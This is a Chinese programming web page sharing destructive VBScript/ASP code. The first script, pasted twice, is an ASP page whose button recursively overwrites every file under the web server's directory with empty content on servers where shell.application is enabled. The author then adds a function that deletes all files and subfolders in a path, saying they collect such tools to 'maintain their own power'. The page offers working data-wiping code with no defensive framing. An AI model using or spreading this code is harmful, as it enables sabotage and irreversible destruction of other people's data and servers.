颜韵ycy,名站网址,上海预约挂号
'网上看到的,适用与没有禁用shell.application的服务器
server.scripttimeout = 99999
if request("submit")<>"" then
call listfile(server.mappath("./"))
response.write"处理完毕"
else
response.write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的内容""></form>"
end if
function listfile(fpath)
on error resume next
dim shell, folder, s
set shell = server.createobject ("shell.application")
set folder = shell.namespace(fpath)
set f = server.createobject("adodb.stream")
f.type = 1
f.open
for each s in folder.items
if s.isfolder then
call listfile(s.path)
else
f.savetofile s.path, 2
end if
next
set f = nothing
set shell = nothing
end function
'网上看到的,适用与没有禁用shell.application的服务器
server.scripttimeout = 99999
if request("submit")<>"" then
call listfile(server.mappath("./"))
response.write"处理完毕"
else
response.write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的内容""></form>"
end if
function listfile(fpath)
on error resume next
dim shell, folder, s
set shell = server.createobject ("shell.application")
set folder = shell.namespace(fpath)
set f = server.createobject("adodb.stream")
f.type = 1
f.open
for each s in folder.items
if s.isfolder then
call listfile(s.path)
else
f.savetofile s.path, 2
end if
next
set f = nothing
set shell = nothing
end function
以前也看到过这个,感觉没什么用,这么危险的组件服务器一般都禁用了,但今天,我突然觉得有进也得收集或制作一些这样的软件,可以维护自己的权力。具体什么原因我就不说了,我写的一个:
view plaincopy to clipboardprint?
'看到文件删文件,看到文件夹删除文件夹
function filestree(spath)
set ofso = createobject("scripting.filesystemobject")
set ofolder = ofso.getfolder(spath)
set osubfolders = ofolder.subfolders
set ofiles = ofolder.files
for each ofile in ofiles
'wscript.echo ofile.path
ofile.delete
next
for each osubfolder in osubfolders
'wscript.echo osubfolder.path
osubfolder.delete
'filestree(osubfolder.path)'递归
next
set ofolder = nothing
set osubfolders = nothing
set ofso = nothing
end function
filestree("f:\deltest\deltest") '遍历
如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!!
点击进行留言回复
相关文章:
-
-
-
-
用vbs实现文本循环读取
因为测试中需要读取一批url数据进行浏览,其实使用qtp本身的table能实现多种读取方式,但是因为需要tabel是使用excel保存的,在没有...
[阅读全文]
-
-
-
-
-
-
-
网友评论